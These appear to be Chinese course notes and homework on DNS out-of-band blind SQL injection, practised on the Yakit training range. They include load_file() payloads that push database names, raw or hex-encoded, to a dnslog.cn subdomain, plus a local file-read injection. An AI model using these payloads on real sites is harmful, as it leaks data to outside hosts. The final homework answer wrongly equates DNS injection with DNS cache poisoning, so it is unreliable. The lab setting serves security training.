yakit 靶场
源码:https://github.com/yaklang/yakla ... ulinbox/vul_sqli.go
光速盲注(DNS注⼊)
yakit 靶场-首页-DNSLog
必须有权限读取并且⽂件必须完全可读
2、欲读取⽂件必须在服务器上
3、必须指定⽂件完整的路径
4、欲读取⽂件必须⼩于 max_allowed_packet
show VARIABLES like ‘%max_allowed_packet%’; 查看当前允许读取⽂件的⼤⼩
my.ini 修改 max_allowed_packet=100M 修改可读取⽂件的⼤⼩
load_file():读取⽂件
利⽤前提条件
1. Web服务器必须是windows操作系统,因为UNC是windows特有的,只能针对WIN操作系统
2. mysql.ini中secure_file_priv必须为空
小皮-设置-配置文件-mysql.ini中secure_file_priv必须为空-添加secure_file_priv=
?id=-1' union select 1,2,load_file('C:\\112266.txt') %23
\\ ⽹络资源路径
load_file (本地资源路径)
load_file (⽹络路径) \\192.168.x.x\www\sqli\1\xxx \\test.com\www\xxx
select load_file(concat('//',(select database()),'.1806dl.dnslog.cn/abc')) 也叫带外查询
前置知识
DNSlog即DNS⽇志记录的形式,适⽤于多种数据库,同时,适⽤于多种攻击
load_file()函数可以加载本地⽂件的同时,也能对\www.xxx.com\aa这样的URL发起请求(UNC)
读取⽂件并返回⽂件内容为字符串。
要使⽤此函数,⽂件必须位于服务器主机上,必须指定完整路径的⽂件,⽽且必须有FILE权限。该⽂件所有字节可
读,但⽂件内容必须⼩于max_allowed_packet(限制server接受的数据包⼤⼩函数,默认1MB)。 如果该⽂件不
存在或⽆法读取,因为前⾯的条件之⼀不满⾜,函数返回 NULL
UNC是什么:
1-UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应
⽤于在局域⽹中访问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。
2-UNC 就是 '\\' 代表Microsoft Windows通⽤命名约定(UNC)**
3-那么使⽤,通⽤命名约定(UNC)的⽂件和⽬录路径格式,都会引发DNS地址解析
4-双斜杠表示⽹络资源路径多加两个\就是转义了反斜杠
UNC路径的格式:\server\sharename\directory\filename
payload
注意:域名前⾯有个点 .
第⼀条
第⼀种写法:
' and if((select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))),1,0) --+
第⼆种写法:
' and if((select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))),1,0) --+
注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名
第⼆条(第⼀条⽆法使⽤的情况下使⽤)
第⼀种写法:
' and (select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))) --+
第⼆种写法:
' and (select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))) --+
注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名
第三条-推荐使⽤(⼗六进制写法)
如果查询内容有特殊字符,不符合域名要求,是⽆法正常构造正常的域名,所以没办法发出数据
⽐如:逗号,@符号等特殊符号
使⽤hex()函数将查询内容转换为16进制编码来输出
xxx.dns 域名
' and if((select load_file(concat('\\\\',(select hex(database())),'.otebm5.dnslog.cn\\abc'))),1,0) --+
yakit-渗透测试-Codec可以解码
相关注释学习地址-https://blog.csdn.net/aiwangtingyun/article/details/127204954
⽆回显型思路-统一使用带外查询
WEB渗透测试工程师系统班250303期 第17节课作业 1. 实际操作课堂讲解的yakit sql注入靶场,截图? 2. 什么是UNC? UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应
⽤于在局域⽹中访问⽂件服务器或者打印机 3. dns注入的原理是什么? DNS 注入,也称为 DNS 欺骗或 DNS 缓存投毒, 其原理是攻击者通过各种手段篡改 DNS 服务器的缓存记录或干扰 DNS 解析过程,使得域名被错误地解析为攻击者指定的 IP 地址, 从而实现对用户网络访问的劫持和控制 4. 带外查询的应用场景? 主要用于时间盲注无回显型前端界面
|